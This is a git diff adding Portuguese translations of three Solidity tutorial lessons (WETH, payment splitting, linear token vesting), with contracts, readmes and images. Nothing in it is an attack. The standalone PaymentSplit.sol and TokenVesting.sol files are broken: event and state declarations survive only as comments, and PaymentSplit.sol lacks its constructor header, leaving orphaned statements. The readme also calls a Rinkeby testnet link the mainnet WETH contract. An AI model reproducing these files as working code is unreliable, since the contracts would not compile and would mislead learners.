"@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20{ + // Eventos: Depósito e Retirada + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // Construtor, inicializa o nome do ERC20 + constructor() ERC20("WETH", "WETH"){ + } + + // Função de retorno, quando o usuário converte ETH para o contrato WETH, a função deposit() é acionada + fallback() external payable { + deposit(); + } + // Função de retorno, quando o usuário converte ETH para o contrato WETH, a função deposit() é acionada + receive() external payable { + deposit(); + } + + // Função de depósito, quando o usuário deposita ETH, ele recebe a mesma quantidade de WETH cunhado. + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // Função de saque, o usuário destrói o WETH e recebe de volta a mesma quantidade de ETH + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/41_WETH/img/41-1.gif b/Languages/pt-br/41_WETH/img/41-1.gif new file mode 100644 index 000000000..8787b5d91 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-1.gif differ diff --git a/Languages/pt-br/41_WETH/img/41-2.jpg b/Languages/pt-br/41_WETH/img/41-2.jpg new file mode 100644 index 000000000..8954b2617 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-2.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-3.jpg b/Languages/pt-br/41_WETH/img/41-3.jpg new file mode 100644 index 000000000..84b3fe921 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-3.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-4.jpg b/Languages/pt-br/41_WETH/img/41-4.jpg new file mode 100644 index 000000000..4631bf765 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-4.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-5.jpg b/Languages/pt-br/41_WETH/img/41-5.jpg new file mode 100644 index 000000000..dc208d461 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-5.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-6.jpg b/Languages/pt-br/41_WETH/img/41-6.jpg new file mode 100644 index 000000000..ebdb54b6e Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-6.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-7.jpg b/Languages/pt-br/41_WETH/img/41-7.jpg new file mode 100644 index 000000000..844802ab5 Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-7.jpg differ diff --git a/Languages/pt-br/41_WETH/img/41-8.jpg b/Languages/pt-br/41_WETH/img/41-8.jpg new file mode 100644 index 000000000..0d45e09aa Binary files /dev/null and b/Languages/pt-br/41_WETH/img/41-8.jpg differ diff --git a/Languages/pt-br/41_WETH/readme.md b/Languages/pt-br/41_WETH/readme.md new file mode 100644 index 000000000..5182015b6 --- /dev/null +++ b/Languages/pt-br/41_WETH/readme.md @@ -0,0 +1,125 @@ +# 41. WETH + +Eu recentemente revisitei o Solidity para consolidar os detalhes e estou escrevendo um "WTF Introdução super simplificada ao Solidity" para iniciantes (os mestres da programação podem encontrar outros tutoriais), atualizado semanalmente com 1-3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta palestra, vamos aprender sobre o `WETH` - Ethereum encapsulado. + +## O que é o `WETH`? + +![WETH](./img/41-1.gif) + +`WETH` (Wrapped ETH) é a versão encapsulada do `ETH`. `WETH`, `WBTC`, `WBNB` que estamos acostumados são todos tokens nativos encapsulados. Mas por que precisamos encapsulá-los? + +Em 2015, o [padrão ERC20](../20_SendETH/readme_pt-br.md) foi introduzido com o objetivo de padronizar as regras para tokens na Ethereum, simplificando o lançamento de novos tokens e permitindo a comparação entre todos os tokens na blockchain. Infelizmente, o próprio Ether não está em conformidade com o padrão ERC20. O desenvolvimento do `WETH` tem o objetivo de aumentar a interoperabilidade entre blockchains e permitir que o `ETH` seja usado em aplicativos descentralizados (dApps). É como se estivéssemos vestindo um contrato inteligente sobre o token nativo: ao colocar a roupa, ele se torna `WETH`, conforme o padrão de tokens homogêneos ERC20, permitindo interoperabilidade entre blockchains e uso em dApps; ao remover a roupa, ele pode ser trocado de volta a uma taxa de 1:1 para `ETH`. + +## Contrato do `WETH` + +Atualmente, o [contrato WETH na mainnet](https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2) foi escrito em 2015, é bastante antigo e foi desenvolvido com a versão 0.4 do Solidity. Vamos reescrever um contrato do `WETH` usando a versão 0.8. + +O `WETH` segue o padrão ERC20 e possui duas funcionalidades adicionais: + +1. Depósito: encapsulamento, onde os usuários depositam `ETH` no contrato `WETH` e recebem a quantidade equivalente de `WETH`. +2. Saque: desencapsulamento, onde os usuários destroem `WETH` e recuperam a quantidade equivalente de `ETH`. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20 { + // Eventos: depósito e saque + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // Construtor, inicializa o nome e o símbolo do ERC20 + constructor() ERC20("WETH", "WETH"){ + } + + // Função de fallback, quando os usuários transferem ETH para o contrato WETH, acionará a função deposit() + fallback() external payable { + deposit(); + } + // Função de fallback, quando os usuários transferem ETH para o contrato WETH, acionará a função deposit() + receive() external payable { + deposit(); + } + + // Função de depósito, para quando os usuários depositam ETH, recebem a quantidade equivalente de WETH + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // Função de saque, para quando os usuários destroem WETH e recuperam a quantidade equivalente de ETH + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} +``` + +### Herança + +O `WETH` segue o padrão ERC20 para tokens, então o contrato `WETH` herda o contrato ERC20. + +### Eventos + +O contrato `WETH` possui 2 eventos: + +1. `Deposit`: evento de depósito, acionado durante o depósito. +2. `Withdraw`: evento de saque, acionado durante o saque. + +### Funções + +Além das funções padrão do ERC20, o contrato `WETH` possui 5 funções: + +- Construtor: inicializa o nome e o símbolo do `WETH`. +- Funções de fallback: `fallback()` e `receive()`, acionadas quando os usuários transferem `ETH` para o contrato `WETH`, elas automaticamente acionam a função de depósito (`deposit()`). +- `deposit()`: função de depósito, onde os usuários depositam `ETH` e recebem a quantidade equivalente de WETH. +- `withdraw()`: função de saque, onde os usuários destroem `WETH` e recebem a quantidade equivalente de `ETH`. + +## Demonstração no `Remix` + +### 1. Implementar o contrato `WETH` + +![WETH](./img/41-2.jpg) + +### 2. Chamar `deposit`, depositar `1 ETH` e verificar o saldo de `WETH` + +![WETH](./img/41-3.jpg) + +Neste momento, o saldo de `WETH` é de `1 WETH`. + +![WETH](./img/41-4.jpg) + +### 3. Transferir diretamente `1 ETH` para o contrato `WETH` e verificar o saldo de `WETH` + +![WETH](./img/41-5.jpg) + +Neste momento, o saldo de `WETH` é de `2 WETH`. + +![WETH](./img/41-6.jpg) + +### 4. Chamar `withdraw`, sacar `1.5 ETH` e verificar o saldo de `WETH` + +![WETH](./img/41-7.jpg) + +Neste momento, o saldo de `WETH` é de `0.5 WETH`. + +![WETH](./img/41-8.jpg) + +## Conclusão + +Nesta palestra, apresentamos o `WETH` e implementamos o contrato do `WETH`. Ele funciona como uma camada adicional ao Ether nativo: quando vestido, torna-se `WETH`, de acordo com o padrão ERC20, permitindo interoperabilidade entre blockchains e uso em dApps; ao remover a camada, ele pode ser trocado de volta por `ETH` na proporção de 1:1. + diff --git a/Languages/pt-br/42_PaymentSplit/PaymentSplit.sol b/Languages/pt-br/42_PaymentSplit/PaymentSplit.sol new file mode 100644 index 000000000..fbbbd5435 --- /dev/null +++ b/Languages/pt-br/42_PaymentSplit/PaymentSplit.sol @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * Contrato de divisão de pagamentos + * @dev Este contrato irá dividir os ETH recebidos em várias contas de acordo com as proporções pré-determinadas. Os ETH recebidos serão armazenados no contrato de divisão e cada beneficiário precisará chamar a função release() para receber sua parte. + */ +contract PaymentSplit{ + // Eventos + // Adicionar evento de beneficiário + // Evento de saque do beneficiário + // Evento de recebimento de contrato + + // Total de participações + // Total de pagamento + + // Cota de cada beneficiário + // Valor a ser pago para cada beneficiário + // Array de beneficiários + + /** + * @dev Inicializa os arrays de beneficiários _payees e de participação na divisão _shares + * O comprimento dos arrays não pode ser zero e os comprimentos dos dois arrays devem ser iguais. + * Os elementos do array _shares devem ser maiores que zero, os endereços do array _payees não podem ser endereços zero e não podem haver endereços duplicados. + */ + // Verifique se os arrays '_payees' e '_shares' têm o mesmo comprimento e não são vazios. + require(_payees.length == _shares.length, "PaymentSplitter: payees and shares length mismatch"); + require(_payees.length > 0, "PaymentSplitter: no payees"); + // Chamando _addPayee, atualizando os endereços dos beneficiários payees, as cotas dos beneficiários shares e o total de cotas totalShares + for (uint256 i = 0; i < _payees.length; i++) { + _addPayee(_payees[i], _shares[i]); + } + } + + /** + * @dev Função de retorno, recebe ETH e dispara o evento PaymentReceived + */ + receive() external payable virtual { + emit PaymentReceived(msg.sender, msg.value); + } + + /** + * @dev Divide the ETH to the valid beneficiary address _account, and send the corresponding ETH directly to the beneficiary address. Anyone can trigger this function, but the money will be sent to the account address. + * The releasable() function is called. + */ + function release(address payable _account) public virtual { + // A conta deve ser um beneficiário válido. + require(shares[_account] > 0, "PaymentSplitter: account has no shares"); + // Calcular a quantidade de ETH que a conta deve receber + uint256 payment = releasable(_account); + // O ETH merecido não pode ser igual a 0 + require(payment != 0, "PaymentSplitter: account is not due payment"); + // Atualizar o total de pagamentos totalReleased e o valor pago a cada beneficiário released + totalReleased += payment; + released[_account] += payment; + // Transferência + _account.transfer(payment); + emit PaymentReleased(_account, payment); + } + + /** + * @dev Calcula a quantidade de eth que uma conta pode receber. + * Chama a função pendingPayment(). + */ + function releasable(address _account) public view returns (uint256) { + // Calcular a receita total do contrato de divisão de pagamentos totalReceived + uint256 totalReceived = address(this).balance + totalReleased; + // Chamando _pendingPayment para calcular a quantidade de ETH que a conta account deve receber. + return pendingPayment(_account, totalReceived, released[_account]); + } + + /** + * @dev Calcula o valor em `ETH` que o beneficiário `_account` deve receber com base na receita total do contrato de divisão `_totalReceived` e no valor já liberado para esse endereço `_alreadyReleased`. + */ + function pendingPayment( + address _account, + uint256 _totalReceived, + uint256 _alreadyReleased + ) public view returns (uint256) { + // A quantidade de ETH que a conta deve receber é igual à quantidade total de ETH menos a quantidade de ETH já recebida. + return (_totalReceived * shares[_account]) / totalShares - _alreadyReleased; + } + + /** + * @dev Adiciona um beneficiário _account e a quantidade de ações correspondente _accountShares. Só pode ser chamado no construtor e não pode ser modificado. + */ + function _addPayee(address _account, uint256 _accountShares) private { + // Verifique se _account não é um endereço 0. + require(_account != address(0), "PaymentSplitter: account is the zero address"); + // Verifique se _accountShares não é igual a zero + require(_accountShares > 0, "PaymentSplitter: shares are 0"); + // Verificar se _account não está duplicado + require(shares[_account] == 0, "PaymentSplitter: account already has shares"); + // Atualizar payees, shares e totalShares + payees.push(_account); + shares[_account] = _accountShares; + totalShares += _accountShares; + // Liberar evento de adição de beneficiário. + emit PayeeAdded(_account, _accountShares); + } +} diff --git a/Languages/pt-br/42_PaymentSplit/img/42-1.webp b/Languages/pt-br/42_PaymentSplit/img/42-1.webp new file mode 100644 index 000000000..89f221da1 Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-1.webp differ diff --git a/Languages/pt-br/42_PaymentSplit/img/42-2.png b/Languages/pt-br/42_PaymentSplit/img/42-2.png new file mode 100644 index 000000000..8aa66cbd2 Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-2.png differ diff --git a/Languages/pt-br/42_PaymentSplit/img/42-3.png b/Languages/pt-br/42_PaymentSplit/img/42-3.png new file mode 100644 index 000000000..be3d991ad Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-3.png differ diff --git a/Languages/pt-br/42_PaymentSplit/img/42-4.png b/Languages/pt-br/42_PaymentSplit/img/42-4.png new file mode 100644 index 000000000..3d878babf Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-4.png differ diff --git a/Languages/pt-br/42_PaymentSplit/img/42-5.png b/Languages/pt-br/42_PaymentSplit/img/42-5.png new file mode 100644 index 000000000..f63eaa753 Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-5.png differ diff --git a/Languages/pt-br/42_PaymentSplit/img/42-6.png b/Languages/pt-br/42_PaymentSplit/img/42-6.png new file mode 100644 index 000000000..61cba7ab1 Binary files /dev/null and b/Languages/pt-br/42_PaymentSplit/img/42-6.png differ diff --git a/Languages/pt-br/42_PaymentSplit/readme.md b/Languages/pt-br/42_PaymentSplit/readme.md new file mode 100644 index 000000000..73ca4b85b --- /dev/null +++ b/Languages/pt-br/42_PaymentSplit/readme.md @@ -0,0 +1,193 @@ +# WTF Solidity Simplified: 42. Divisão de Pagamentos + +Recentemente, tenho revisado meus conhecimentos em solidity, consolidando detalhes e escrevendo um "WTF Solidity Simplified" para ajudar iniciantes (os mestres da programação podem procurar por outros tutoriais). Atualizações semanais com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, apresentaremos o contrato de divisão de pagamentos, que permite distribuir `ETH` para um grupo de contas de acordo com pesos predefinidos. O código é uma simplificação do contrato PaymentSplitter da biblioteca OpenZeppelin. + +## Divisão de Pagamentos + +Dividir pagamentos significa distribuir fundos de acordo com uma proporção específica. Na vida real, é comum ocorrer situações em que a divisão não é justa; porém, no mundo blockchain, onde "o Código é a Lei", podemos definir as proporções de cada pessoa em um contrato inteligente antes de recebermos um pagamento e, então, o contrato inteligente faz a divisão dos recursos. + +![Divisão de Pagamentos](./img/42-1.webp) + +## Contrato de Divisão de Pagamentos + +O contrato de divisão de pagamentos (`PaymentSplit`) tem as seguintes características: + +1. Ao criar o contrato, é necessário especificar os beneficiários `payees` e a quantidade de participação de cada um `shares`. +2. As participações podem ser iguais ou qualquer outra proporção desejada. +3. Todas as `ETH` recebidas por este contrato serão distribuídas a cada beneficiário de acordo com a proporção de sua participação. +4. O contrato de divisão de pagamentos segue o modelo de `Pull Payment` - os pagamentos não são feitos automaticamente para as contas, mas sim mantidos no contrato. Os beneficiários podem solicitar o pagamento chamando a função `release()`. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * Contrato de Divisão de Pagamentos + * @dev Este contrato irá distribuir os ETH recebidos para várias contas de acordo com as proporções predefinidas. Os ETH recebidos serão mantidos neste contrato e os beneficiários precisam chamar a função release() para resgatá-los. + */ +contract PaymentSplit { +``` + +### Eventos + +O contrato de divisão de pagamentos possui `3` eventos: + +- `PayeeAdded`: evento de adição de beneficiário. +- `PaymentReleased`: evento de pagamento liberado para o beneficiário. +- `PaymentReceived`: evento de recebimento de pagamento pelo contrato de divisão. + +```solidity + // Eventos + event PayeeAdded(address account, uint256 shares); // Evento de adição de beneficiário + event PaymentReleased(address to, uint256 amount); // Evento de pagamento liberado para beneficiário + event PaymentReceived(address from, uint256 amount); // Evento de recebimento de pagamento pelo contrato +``` + +### Variáveis de Estado + +O contrato de divisão de pagamentos possui `5` variáveis de estado, que registram endereços de beneficiários, participações, `ETH` pagos, entre outras informações: + +- `totalShares`: quantidade total de participações, que corresponde à soma das `shares`. +- `totalReleased`: quantidade total de `ETH` pagos aos beneficiários, correspondendo à soma dos valores distribuídos. +- `payees`: array de endereços, que registra os beneficiários. +- `shares`: mapeamento de endereços para integers, que armazena as participações de cada beneficiário. +- `released`: mapeamento de endereços para integers, que armazena os valores de `ETH` pagos a cada beneficiário. + +```solidity + uint256 public totalShares; // Total de participações + uint256 public totalReleased; // Total de pagamentos feitos + + mapping(address => uint256) public shares; // Participações de cada beneficiário + mapping(address => uint256) public released; // Valores pagos a cada beneficiário + address[] public payees; // Array de beneficiários +``` + +### Funções + +O contrato de divisão de pagamentos possui `6` funções: + +- Construtor: inicializa os arrays de beneficiários `_payees` e de participações `_shares`, sendo o comprimento dos arrays diferente de zero e iguais entre si. As participações devem ser maiores que zero, e os endereços dos beneficiários não podem ser nulos nem repetidos. +- `receive()`: função de callback que emite o evento `PaymentReceived` quando o contrato de divisão recebe `ETH`. +- `release()`: função de divisão de pagamentos, que distribui os `ETH` para um endereço de beneficiário válido `_account`. Qualquer pessoa pode chamar essa função, mas os fundos serão enviados diretamente para o endereço do beneficiário. Ela chama a função `releasable()`. +- `releasable()`: calcula a quantidade de `ETH` que um endereço de beneficiário pode resgatar. Chama a função `pendingPayment()`. +- `pendingPayment()`: calcula a quantidade de `ETH` que um beneficiário pode receber, com base no endereço do beneficiário `_account`, na receita total do contrato `_totalReceived` e nos pagamentos já efetuados para esse endereço `_alreadyReleased`. +- `_addPayee()`: função para adicionar um novo beneficiário e sua participação. Só pode ser chamada no construtor e não pode ser modificada posteriormente. + +```solidity + /** + * @dev Inicializa os arrays de beneficiários (_payees) e de participações (_shares). O comprimento dos arrays deve ser diferente de zero e iguais entre si. As participações devem ser maiores que zero, e os endereços dos beneficiários não podem ser nulos nem repetidos. + */ + constructor(address[] memory _payees, uint256[] memory _shares) payable { + // Verifica se os arrays _payees e _shares possuem o mesmo comprimento + require(_payees.length == _shares.length, "PaymentSplitter: payees and shares length mismatch"); + require(_payees.length > 0, "PaymentSplitter: no payees"); + // Chama _addPayee para atualizar os endereços de beneficiários (payees), as participações de beneficiários (shares) e o total de participações (totalShares) + for (uint256 i = 0; i < _payees.length; i++) { + _addPayee(_payees[i], _shares[i]); + } + } + + /** + * @dev Função de callback para quando o contrato de divisão recebe ETH, emitindo o evento PaymentReceived. + */ + receive() external payable virtual { + emit PaymentReceived(msg.sender, msg.value); + } + + /** + * @dev Para dividir fundos para um endereço de beneficiário válido _account. Qualquer um pode chamar, mas os fundos são enviados diretamente para o endereço do beneficiário. + * Chama a função releasable(). + */ + function release(address payable _account) public virtual { + // O endereço deve ser um beneficiário válido + require(shares[_account] > 0, "PaymentSplitter: account has no shares"); + // Calcula o pagamento devido ao endereço + uint256 payment = releasable(_account); + // Verifica se o pagamento é maior que zero + require(payment != 0, "PaymentSplitter: account is not due payment"); + // Atualiza total de pagamentos e os pagamentos feitos a cada beneficiário + totalReleased += payment; + released[_account] += payment; + // Transfere os fundos + _account.transfer(payment); + emit PaymentReleased(_account, payment); + } + + /** + * @dev Calcula a quantidade de ETH que um beneficiário pode resgatar. + * Chama a função pendingPayment(). + */ + function releasable(address _account) public view returns (uint256) { + // Calcula a receita total do contrato + uint256 totalReceived = address(this).balance + totalReleased; + // Chama pendingPayment para calcular a quantidade de ETH devida ao endereço + return pendingPayment(_account, totalReceived, released[_account]); + } + + /** + * @dev Calcula a quantidade de ETH que um beneficiário pode resgatar, com base no endereço do beneficiário _account, na receita total do contrato _totalReceived e nos pagamentos já efetuados para esse endereço _alreadyReleased. + */ + function pendingPayment( + address _account, + uint256 _totalReceived, + uint256 _alreadyReleased + ) public view returns (uint256) { + // Quantidade de ETH devida = (receita total * participação do beneficiário) / total de participações - valor já pago + return (_totalReceived * shares[_account]) / totalShares - _alreadyReleased; + } + + /** + * @dev Adiciona um novo beneficiário _account e a sua participação _accountShares. Só pode ser chamado durante a construção do contrato e não pode ser alterado posteriormente. + */ + function _addPayee(address _account, uint256 _accountShares) private { + // Verifica se o endereço não é nulo + require(_account != address(0), "PaymentSplitter: account is the zero address"); + // Verifica se a participação não é zero + require(_accountShares > 0, "PaymentSplitter: shares are 0"); + // Verifica se o endereço do beneficiário é único + require(shares[_account] == 0, "PaymentSplitter: account already has shares"); + // Atualiza payees, shares e totalShares + payees.push(_account); + shares[_account] = _accountShares; + totalShares += _accountShares; + // Emite o evento de adição do beneficiário + emit PayeeAdded(_account, _accountShares); + } +``` + +## Demonstração no `Remix` + +### 1. Implantação do contrato de divisão de pagamentos `PaymentSplit` e transferência de `1 ETH` + +No construtor, insira dois endereços de beneficiários, com participações de `1` e `3`. + +![Implantação](./img/42-2.png) + +### 2. Visualização de endereços de beneficiários, participações, e quantidade de `ETH` a receber + +![Visualização do primeiro beneficiário](./img/42-3.png) + +![Visualização do segundo beneficiário](./img/42-4.png) + +### 3. Chamada da função para receber `ETH` + +![Chamada da função release](./img/42-5.png) + +### 4. Visualização das mudanças nos totais de pagamento, saldo dos beneficiários e quantidade de `ETH` a receber + +![Visualização](./img/42-6.png) + +## Conclusão + +Nesta lição, apresentamos o contrato de divisão de pagamentos. No mundo blockchain, onde "o Código é a Lei", podemos definir as proporções de cada pessoa em um contrato inteligente antes de recebermos um pagamento e, então, o contrato inteligente faz a divisão dos recursos, evitando assim problemas de "divisão injusta de receitas". + diff --git a/Languages/pt-br/43_TokenVesting/TokenVesting.sol b/Languages/pt-br/43_TokenVesting/TokenVesting.sol new file mode 100644 index 000000000..9aa14c7f6 --- /dev/null +++ b/Languages/pt-br/43_TokenVesting/TokenVesting.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.0; + +import "../31_ERC20/ERC20.sol"; + +/** + * @title Liberação linear de tokens ERC20 + * @dev Este contrato libera tokens ERC20 de forma linear para o beneficiário `_beneficiary`. + * Os tokens liberados podem ser de um único tipo ou de vários tipos. O período de liberação é definido pelo tempo inicial `_start` e pela duração `_duration`. + * Todos os tokens transferidos para este contrato seguirão o mesmo período de liberação linear e o beneficiário precisará chamar a função `release()` para resgatá-los. + * O contrato é uma simplificação da VestingWallet da OpenZeppelin. + */ +contract TokenVesting { + // Eventos + // Evento de retirada de moedas + + // Variável de estado + // Mapeamento do endereço do token para a quantidade liberada, registrando a quantidade de tokens que o beneficiário já recebeu + // Endereço do beneficiário + // Data de início do período de pertencimento + // Período de Atribuição (em segundos) + + /** + * @dev Inicializa o endereço do beneficiário, o período de liberação (em segundos) e o carimbo de data/hora de início (carimbo de data/hora atual da blockchain) + */ + constructor( + address beneficiaryAddress, + uint256 durationSeconds + ) { + require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address"); + beneficiary = beneficiaryAddress; + start = block.timestamp; + duration = durationSeconds; + } + + /** + * @dev Beneficiário retira tokens liberados. + * Chama a função vestedAmount() para calcular a quantidade de tokens que podem ser retirados e, em seguida, transfere para o beneficiário. + * Emite o evento {ERC20Released}. + */ + function release(address token) public { + // Chame a função vestedAmount() para calcular a quantidade de tokens que podem ser retirados + uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - erc20Released[token]; + // Atualizando a quantidade de tokens liberados + erc20Released[token] += releasable; + // Transferir tokens para o beneficiário + emit ERC20Released(token, releasable); + IERC20(token).transfer(beneficiary, releasable); + } + + /** + * @dev De acordo com a fórmula de liberação linear, calcula a quantidade já liberada. Os desenvolvedores podem personalizar o método de liberação modificando esta função. + * @param token: endereço do token + * @param timestamp: timestamp consultado + */ + function vestedAmount(address token, uint256 timestamp) public view returns (uint256) { + // Quantos tokens foram recebidos no contrato (saldo atual + já retirados) + uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + erc20Released[token]; + // De acordo com a fórmula de liberação linear, calcule a quantidade já liberada + if (timestamp < start) { + return 0; + } else if (timestamp > start + duration) { + return totalAllocation; + } else { + return (totalAllocation * (timestamp - start)) / duration; + } + } +} \ No newline at end of file diff --git a/Languages/pt-br/43_TokenVesting/img/43-1.jpeg b/Languages/pt-br/43_TokenVesting/img/43-1.jpeg new file mode 100644 index 000000000..ebc65f6c1 Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-1.jpeg differ diff --git a/Languages/pt-br/43_TokenVesting/img/43-2.png b/Languages/pt-br/43_TokenVesting/img/43-2.png new file mode 100644 index 000000000..016642857 Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-2.png differ diff --git a/Languages/pt-br/43_TokenVesting/img/43-3.png b/Languages/pt-br/43_TokenVesting/img/43-3.png new file mode 100644 index 000000000..376b8037c Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-3.png differ diff --git a/Languages/pt-br/43_TokenVesting/img/43-4.png b/Languages/pt-br/43_TokenVesting/img/43-4.png new file mode 100644 index 000000000..7a8da7f8b Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-4.png differ diff --git a/Languages/pt-br/43_TokenVesting/img/43-5.png b/Languages/pt-br/43_TokenVesting/img/43-5.png new file mode 100644 index 000000000..4e86bf884 Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-5.png differ diff --git a/Languages/pt-br/43_TokenVesting/img/43-6.png b/Languages/pt-br/43_TokenVesting/img/43-6.png new file mode 100644 index 000000000..8bbadd354 Binary files /dev/null and b/Languages/pt-br/43_TokenVesting/img/43-6.png differ diff --git a/Languages/pt-br/43_TokenVesting/readme.md b/Languages/pt-br/43_TokenVesting/readme.md new file mode 100644 index 000000000..77880ab6f --- /dev/null +++ b/Languages/pt-br/43_TokenVesting/readme.md @@ -0,0 +1,129 @@ +# WTF Introdução Simples à Solidity: 43. Liberação Linear + +Recentemente, tenho revisado meus conhecimentos em Solidity e consolidando alguns detalhes, e escrevendo um "WTF Introdução Simples à Solidity" para ajudar os novatos (os programadores experientes podem procurar outro tutorial), com atualizações semanais de 1 a 3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e os tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos falar sobre termos de titularidade de tokens e escrever um contrato de token ERC20 para liberação linear. O código foi simplificado do contrato `VestingWallet` da `OpenZeppelin`. + +## Termos de Titularidade de Tokens + +![Deploy](./img/43-1.jpeg) + +No mundo financeiro tradicional, algumas empresas oferecem ações para funcionários e gestores. No entanto, a liberação de grandes quantidades de ações ao mesmo tempo pode gerar uma pressão de venda a curto prazo, afetando o preço das ações. Portanto, as empresas costumam introduzir um período de titularidade para retardar a posse dos ativos prometidos. Da mesma forma, no ecossistema blockchain, empresas iniciantes do Web3 distribuem tokens para suas equipes e também vendem tokens a baixo custo para investidores e em rodadas privadas. Se eles levarem esses tokens de baixo custo para exchanges simultaneamente para obter lucro, o preço do token será impactado, e os investidores diretos se tornarão compradores. Portanto, as equipes de projeto geralmente estabelecem termos de titularidade de tokens (token vesting), liberando gradualmente os tokens durante o período de titularidade para reduzir a pressão de venda e impedir que as equipes e os investidores obtenham lucro muito cedo. + +## Liberação Linear + +A liberação linear significa que os tokens são liberados de maneira uniforme durante o período de titularidade. Por exemplo, se um investidor privado detém 365.000 tokens `ICU`, com um período de titularidade de 1 ano (365 dias), serão liberados 1.000 tokens por dia. + +A seguir, vamos escrever um contrato `TokenVesting` que bloqueia e libera tokens ERC20 de forma linear. A lógica é simples: + +- O projeto especifica o beneficiário, o início do período de titularidade e o beneficiário. +- O projeto transfere os tokens ERC20 bloqueados para o contrato `TokenVesting`. +- O beneficiário pode chamar a função `release` para retirar os tokens liberados do contrato. + +### Eventos + +Existem 1 evento no contrato de liberação linear. + +- `ERC20Released`: Evento de liberação, acionado quando o beneficiário retira os tokens liberados. + +```solidity +contract TokenVesting { + // Eventos + event ERC20Released(address indexed token, uint256 amount); // Evento acionado ao retirar os tokens +``` + +### Variáveis de Estado + +Existem 4 variáveis de estado no contrato de liberação linear. + +- `beneficiary`: Endereço do beneficiário. +- `start`: Timestamp de início do período de titularidade. +- `duration`: Duração do período de titularidade em segundos. +- `erc20Released`: Mapeamento de endereço de token para quantidade liberada, registrando a quantidade de tokens liberada ao beneficiário. + +```solidity + // Variáveis de Estado + mapping(address => uint256) public erc20Released; // Mapeamento de endereço de token para quantidade liberada + address public immutable beneficiary; // Endereço do beneficiário + uint256 public immutable start; // Timestamp de início + uint256 public immutable duration; // Duração +``` + +### Funções + +Existem 3 funções no contrato de liberação linear. + +- Construtor: Inicializa o endereço do beneficiário, a duração do período de titularidade e o timestamp de início. Os parâmetros são o endereço do beneficiário `beneficiaryAddress` e a duração do período `durationSeconds`. Para facilitar, o timestamp de início é o timestamp de bloco atual `block.timestamp`. +- `release()`: Função para retirar tokens, transfere os tokens liberados para o beneficiário. Chama a função `vestedAmount()` para calcular a quantidade de tokens liberados, emite o evento `ERC20Released` e, em seguida, transfere os tokens para o beneficiário. O parâmetro é o endereço do token `token`. +- `vestedAmount()`: Calcula a quantidade de tokens liberados com base na fórmula de liberação linear. Os desenvolvedores podem personalizar esse cálculo modificando a função. Os parâmetros são o endereço do token `token` e o timestamp de consulta `timestamp`. + +```solidity + /** + * @dev Inicializa o endereço do beneficiário, o período de liberação (em segundos) e o timestamp de início (timestamp atual do bloco). + */ + constructor( + address beneficiaryAddress, + uint256 durationSeconds + ) { + require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address"); + 